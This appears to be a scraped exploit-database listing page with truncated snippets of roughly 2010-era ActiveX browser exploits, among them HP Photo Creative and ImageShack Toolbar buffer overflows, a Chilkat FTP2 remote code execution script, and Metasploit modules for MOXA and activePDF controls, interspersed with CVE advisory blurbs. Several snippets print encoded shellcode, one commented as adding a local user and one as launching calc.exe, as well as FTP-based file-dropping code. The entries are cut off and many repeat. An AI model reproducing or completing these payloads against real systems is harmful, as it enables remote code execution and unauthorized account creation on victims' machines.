HP Photo Creative v 2.x audio.Record.1 ActiveX Control (ContentMan.dll 1.0.0.4272) Remote Stack Based Buffer Overflow poc

!-- HP Photo Creative v 2.x audio.Record.1 ActiveX Control ContentMan.dll 1.0.0.4272 Remote Stack Based Buffer Overflow poc by rgod tested against Windows Vista / IE 7 download url: http://www.hp.com/global/us/en/consumer/digitalphotography/free/software/photo-creations.html activex settings:...

Chilkat Software FTP2 ActiveX Component (ChilkatFtp2.DLL 2.6.1.1) Remote Code Execution poc

!-- Chilkat Software FTP2 ActiveX Component ChilkatFtp2.DLL 2.6.1.1 Remote Code Execution poc by rgod tested against Internet Explorer 7 on Vista should also work with 8/9 ActiveX Settings: CLSID: 302124C4-30A0-484A-9C7A-B51D5BA5306B Progid: ChilkatFtp2.ChilkatFtp2.1 Binary Path:...

HP Photo Creative 2.x audio.Record.1 ActiveX Control Stack Based BOF

Exploit for windows platform in category remote exploits //add user one, user "sun" pass "tzu" shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" +...

HP Photo Creative 2.x audio.Record.1 - ActiveX Control Remote Stack Buffer Overflow

HP Photo Creative 2.x audio.Record.1 - ActiveX Control Remote Stack Buffer Overflow //add user one, user "sun" pass "tzu" shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241...

Chilkat Software FTP2 ActiveX Component Remote Code Execution

Exploit for windows platform in category remote exploits ============================================================= Chilkat Software FTP2 ActiveX Component Remote Code Execution ============================================================= obj.UnlockComponent"suntzu"; //needed for file transfe...

Chilkat Software FTP2 - ActiveX Component Remote Code Execution

obj.UnlockComponent"suntzu"; //needed for file transfer operations, type whatever here obj.Port=21; //configure ftp connection obj.Hostname="192.168.0.1"; //change here obj.ConnectTimeout=5; obj.Passive=1; var x; x=obj.Connect; if x==1 x = obj.GetFile"suntzu.txt","c:/Users/All...

Chilkat Software FTP2 - ActiveX Component Remote Code Execution

Chilkat Software FTP2 - ActiveX Component Remote Code Execution obj.UnlockComponent"suntzu"; //needed for file transfer operations, type whatever here obj.Port=21; //configure ftp connection obj.Hostname="192.168.0.1"; //change here obj.ConnectTimeout=5; obj.Passive=1; var x; x=obj.Connect; if x=...

Chilkat Software FTP2 ActiveX Code Execution

obj.UnlockComponent"suntzu"; //needed for file transfer operations, type whatever here obj.Port=21; //configure ftp connection obj.Hostname="192.168.0.1"; //change here obj.ConnectTimeout=5; obj.Passive=1; var x; x=obj.Connect; if x==1 x = obj.GetFile"suntzu.txt","c:/Users/All...

SAP Crystal Reports PrintControl.dll ServerResourceVersion buffer overflow

Added: 12/22/2010 CVE: CVE-2010-2590 BID: 45387 OSVDB: 69917 Background SAP Crystal Reports allows developers to design interactive reports from virtually any data source. Problem A buffer overflow vulnerability in the PrintControl.dll ActiveX control allows command execution when a user loads a...

PT-2010-4749 · Microsoft · Internet Explorer

Name of the Vulnerable Software and Affected Versions: Microsoft Internet Explorer versions 6 through 7 Description: A remote code execution issue exists due to improper handling of objects in memory. This allows attackers to execute arbitrary code by accessing an object that was not properly...

Flash Player (Flash6.ocx) AllowScriptAccess DoS PoC

Exploit for windows platform in category dos / poc =================================================== Flash Player Flash6.ocx AllowScriptAccess DoS PoC =================================================== PARAM NAME="AllowScriptAccess"...

ImageShack Toolbar 4.8.3.75 Remote Code Execution Exploit

Exploit for windows platform in category remote exploits ========================================================= ImageShack Toolbar 4.8.3.75 Remote Code Execution Exploit ========================================================= // calc.exe var shellcode = unescap...

ImageShack Toolbar 4.8.3.75 - Remote Code Execution

ImageShack Toolbar 4.8.3.75 - Remote Code Execution // calc.exe var shellcode = unescape '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+...

ImageShack Toolbar 4.8.3.75 - Remote Code Execution

// calc.exe var shellcode = unescape '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+ '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+...

activePDF WebGrabber - ActiveX Control Buffer Overflow (Metasploit)

$Id: activepdfwebgrabber.rb 10998 2010-11-11 22:43:22Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use...

MOXA MediaDBPlayback - ActiveX Control Buffer Overflow (Metasploit)

This module requires Metasploit: http://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class MetasploitModule 'MOXA MediaDBPlayback ActiveX Control Buffer Overflow', 'Description' = %q This module exploits a stack buffer overflow in...

Internet Explorer 6, 7, 8 Memory Corruption 0day Exploit

Exploit for windows platform in category remote exploits ======================================================== Internet Explorer 6, 7, 8 Memory Corruption 0day Exploit ======================================================== Internet Explorer Memory Corruption 0day Vulnerability CVE-2010-3962...

MOXA MediaDBPlayback ActiveX Control Buffer Overflow

$Id: moxamediadbplayback.rb 10909 2010-11-04 23:59:56Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use...

RealNetworks RealPlayer CDDA URI Uninitialized Pointer Code Execution

Added: 10/22/2010 CVE: CVE-2010-3747 BID: 44144 OSVDB: 68673 Background RealPlayer and RealOne Player include a number of ActiveX controls allowing functions to be called by scripts embedded in web pages. Problem CDDA cdda:// is a protocol used to locate media files on Compact Disc Digital Audio...

MOXA MediaDBPlayback ActiveX Control Buffer Overflow

This module exploits a stack buffer overflow in MOXAActiveXSDK. When sending an overly long string to the PlayFileName of MediaDBPlayback.DLL 2.2.0.5 an attacker may be able to execute arbitrary code. Module Options msf use exploit/windows/fileformat/moxa/mediadbplayback msf...